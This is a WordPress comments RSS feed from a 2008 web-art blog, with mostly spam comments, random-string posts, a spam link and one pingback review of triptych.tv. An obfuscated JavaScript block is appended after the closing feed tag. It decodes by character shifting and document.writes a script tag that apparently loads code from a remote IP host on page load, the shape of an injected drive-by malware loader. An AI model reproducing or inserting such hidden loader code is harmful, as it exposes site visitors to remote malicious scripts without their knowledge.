<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments for Art of the Net</title>
	<atom:link href="http://artofthenet.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://artofthenet.com</link>
	<description>on the discovery that some web sites are works of art</description>
	<pubDate>Fri, 21 Nov 2008 16:37:08 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>Comment on Web-Art: triptych.tv by Julius Massey</title>
		<link>http://artofthenet.com/2007/11/18/web-art-triptichtv/#comment-68</link>
		<dc:creator>Julius Massey</dc:creator>
		<pubDate>Thu, 13 Nov 2008 03:20:35 +0000</pubDate>
		<guid isPermaLink="false">http://artofthenet.com/2007/11/18/web-art-triptichtv/#comment-68</guid>
		<description>dl2mnu1prd5jfozz</description>
		<content:encoded><![CDATA[<p>dl2mnu1prd5jfozz</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on MBCBFTW by Shane Best</title>
		<link>http://artofthenet.com/2008/03/10/mbcbftw/#comment-67</link>
		<dc:creator>Shane Best</dc:creator>
		<pubDate>Wed, 12 Nov 2008 23:14:41 +0000</pubDate>
		<guid isPermaLink="false">http://artofthenet.com/2008/03/10/mbcbftw/#comment-67</guid>
		<description>5xr16xexzvg7pyc7</description>
		<content:encoded><![CDATA[<p>5xr16xexzvg7pyc7</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Berkeley Big Bang: Day 2 by Yvette Bowen</title>
		<link>http://artofthenet.com/2008/06/03/berkeley-big-bang-day-2/#comment-66</link>
		<dc:creator>Yvette Bowen</dc:creator>
		<pubDate>Wed, 12 Nov 2008 23:05:43 +0000</pubDate>
		<guid isPermaLink="false">http://artofthenet.com/?p=114#comment-66</guid>
		<description>92pezu6s1rssvkdm</description>
		<content:encoded><![CDATA[<p>92pezu6s1rssvkdm</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Web Blog: Gerard Ferrandez by Humberto Gross</title>
		<link>http://artofthenet.com/2007/11/07/web-blog-gerard-ferrandez/#comment-65</link>
		<dc:creator>Humberto Gross</dc:creator>
		<pubDate>Wed, 12 Nov 2008 22:18:17 +0000</pubDate>
		<guid isPermaLink="false">http://artofthenet.com/2007/11/07/web-blog-gerard-ferrandez/#comment-65</guid>
		<description>s26eqiluxodayvm6</description>
		<content:encoded><![CDATA[<p>s26eqiluxodayvm6</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Berkeley Big Bang: Day 3 by James</title>
		<link>http://artofthenet.com/2008/06/04/berkeley-big-bang-day-3/#comment-60</link>
		<dc:creator>James</dc:creator>
		<pubDate>Thu, 18 Sep 2008 08:12:35 +0000</pubDate>
		<guid isPermaLink="false">http://artofthenet.com/?p=115#comment-60</guid>
		<description>Hi, I found your blog on this new directory of WordPress Blogs at blackhatbootcamp.com/listofwordpressblogs.  I dont know how your blog came up, must have been a typo, i duno.  Anyways, I just clicked it and here I am.  Your blog looks good.  Have a nice day.  James.</description>
		<content:encoded><![CDATA[<p>Hi, I found your blog on this new directory of WordPress Blogs at blackhatbootcamp.com/listofwordpressblogs.  I dont know how your blog came up, must have been a typo, i duno.  Anyways, I just clicked it and here I am.  Your blog looks good.  Have a nice day.  James.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Web Art Gallery: glyf: construct by UNMATEIMMIDGE</title>
		<link>http://artofthenet.com/2007/10/09/web-art-gallery-glyf-construct/#comment-59</link>
		<dc:creator>UNMATEIMMIDGE</dc:creator>
		<pubDate>Sun, 03 Aug 2008 20:38:38 +0000</pubDate>
		<guid isPermaLink="false">http://artofthenet.com/2007/10/09/web-art-gallery-glyf-construct/#comment-59</guid>
		<description>Very nice!!</description>
		<content:encoded><![CDATA[<p>Very nice!!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Web-Art: triptych.tv by .net &#187; Blog Archive &#187; Web-Art: triptych.tv</title>
		<link>http://artofthenet.com/2007/11/18/web-art-triptichtv/#comment-58</link>
		<dc:creator>.net &#187; Blog Archive &#187; Web-Art: triptych.tv</dc:creator>
		<pubDate>Sat, 26 Jul 2008 10:45:43 +0000</pubDate>
		<guid isPermaLink="false">http://artofthenet.com/2007/11/18/web-art-triptichtv/#comment-58</guid>
		<description>[...] Progressing from 8-bit/pixel art projects, we are moving onto re-hash work from the dot-come era. Triptych is data overload. Triptych is too much of a bad thing is a good thing. Triptych is de-construction with neither instruction nor construction. Triptych is your Triple-A journey to nowhere.  Tryptych just fits in to my definition of web art. There are links and they do take you to different pages. Three of the pages are empty profile pages for the authors and two other pages bring you to archived pages that re-hash the hash that the other pages had already re-hashed. Therefore the site is not just a digital video piece. It is interactive. It is built upon a Blogger account bludgeoned into submission to be outrageous.  Do I like it? Not really. Does it make a statement about this time period? Only time will tell. Will it cause furor/consternation and intellectual discourse. Probably not.  But it is Web Art. And any and all such experiments are to be applauded. One day there will be artists that will find the wormholes into new dimensions of art through the Internet. Triptych.tv is one of those first halting steps.  triptych.tv [via artofthenet] [...]</description>
		<content:encoded><![CDATA[<p>[...] Progressing from 8-bit/pixel art projects, we are moving onto re-hash work from the dot-come era. Triptych is data overload. Triptych is too much of a bad thing is a good thing. Triptych is de-construction with neither instruction nor construction. Triptych is your Triple-A journey to nowhere.  Tryptych just fits in to my definition of web art. There are links and they do take you to different pages. Three of the pages are empty profile pages for the authors and two other pages bring you to archived pages that re-hash the hash that the other pages had already re-hashed. Therefore the site is not just a digital video piece. It is interactive. It is built upon a Blogger account bludgeoned into submission to be outrageous.  Do I like it? Not really. Does it make a statement about this time period? Only time will tell. Will it cause furor/consternation and intellectual discourse. Probably not.  But it is Web Art. And any and all such experiments are to be applauded. One day there will be artists that will find the wormholes into new dimensions of art through the Internet. Triptych.tv is one of those first halting steps.  triptych.tv [via artofthenet] [...]</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>